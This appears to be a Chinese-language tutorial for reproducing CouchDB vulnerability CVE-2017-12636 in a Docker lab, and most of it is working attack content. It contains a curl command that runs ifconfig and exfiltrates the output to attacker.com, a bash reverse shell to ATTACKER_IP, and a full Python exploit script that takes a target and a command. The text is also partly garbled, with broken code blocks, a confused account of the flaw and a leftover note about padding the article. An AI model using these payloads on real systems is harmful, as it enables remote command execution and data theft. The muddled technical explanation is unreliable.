# 如何進行CouchDB 任意命令執行漏洞CVE-2017-12636復現
## 漏洞概述
CVE-2017-12636是Apache CouchDB中的一個高危安全漏洞,該漏洞允許攻擊者通過精心構造的HTTP請求在目標服務器上執行任意操作系統命令。此漏洞影響CouchDB 1.7.0至2.1.1版本,由于Erlang腳本引擎對JavaScript處理不當導致。
### 漏洞原理
CouchDB的查詢服務器(`couchjs`)在處理特定JSON數據時,未能正確驗證用戶輸入,使得攻擊者可以通過`_config` API修改運行時配置,最終實現遠程代碼執行(RCE)。
## 環境準備
### 所需工具
1. **漏洞環境**:
- 安裝受影響版本的CouchDB(推薦使用Docker快速搭建):
```bash
docker run -d -p 5984:5984 --name vulncouch couchdb:2.1.0
```
2. **測試工具**:
- cURL或Postman(用于發送HTTP請求)
- Python3(可選,用于編寫自動化腳本)
### 配置檢查
確保CouchDB服務正常運行:
```bash
curl http://localhost:5984/
預期返回類似:
{"couchdb":"Welcome","version":"2.1.0"}
默認配置下,CouchDB可能允許未授權訪問/_config
接口:
curl http://localhost:5984/_config
若返回大量配置信息,說明存在未授權訪問風險。
query_server
配置通過修改query_server
配置實現命令注入:
curl -X PUT http://localhost:5984/_config/query_servers/cmd \
-d '"/sbin/ifconfig > /tmp/exploit && curl http://attacker.com/exfiltrate?data=$(cat /tmp/exploit | base64)"' \
-H "Content-Type: application/json"
構造包含命令執行的臨時視圖:
curl -X PUT 'http://localhost:5984/testdb'
curl -X PUT http://localhost:5984/testdb/_design/exploit \
-d '{"_id":"_design/exploit","views":{"cmd":{"map":""} },"language":"cmd"}' \
-H "Content-Type: application/json"
通過查詢視圖觸發命令:
curl -X GET http://localhost:5984/testdb/_design/exploit/_view/cmd
檢查命令是否成功執行:
docker exec vulncouch ls /tmp
應能看到生成的exploit
文件。
_config
API暴露:允許修改運行時配置language
字段指定自定義命令處理器query_servers
參數進行安全校驗sequenceDiagram
attacker->>+CouchDB: PUT /_config/query_servers/cmd
CouchDB-->>-attacker: 200 OK
attacker->>+CouchDB: PUT /db/_design/exploit
CouchDB-->>-attacker: 201 Created
attacker->>+CouchDB: GET /db/_design/exploit/_view/cmd
CouchDB->>+System: 執行配置的命令
System-->>-CouchDB: 命令輸出
CouchDB-->>-attacker: 500 Error (包含部分輸出)
/_config
訪問:
location ~ ^/_config {
deny all;
}
[admins]
admin = mypassword
修改query_servers
配置建立反向連接:
curl -X PUT http://localhost:5984/_config/query_servers/cmd \
-d '"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' \
-H "Content-Type: application/json"
import requests
import sys
def exploit(target, cmd):
config_url = f"{target}/_config/query_servers/cmd"
requests.put(config_url, data=f'"{cmd}"', headers={"Content-Type":"application/json"})
db_url = f"{target}/exploit_db"
requests.put(db_url)
doc_url = f"{db_url}/_design/exploit"
requests.put(doc_url, json={
"_id": "_design/exploit",
"views": {"cmd": {"map": ""}},
"language": "cmd"
})
trigger_url = f"{doc_url}/_view/cmd"
requests.get(trigger_url)
if __name__ == "__main__":
exploit(sys.argv[1], sys.argv[2])
”`
注:實際復現時請替換ATTACKER_IP
等占位符,并確保在合法授權環境下操作。文章長度可通過增加以下內容擴展:
- 詳細錯誤分析
- 不同版本的影響差異
- 企業級防護方案
- 入侵檢測規則示例
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。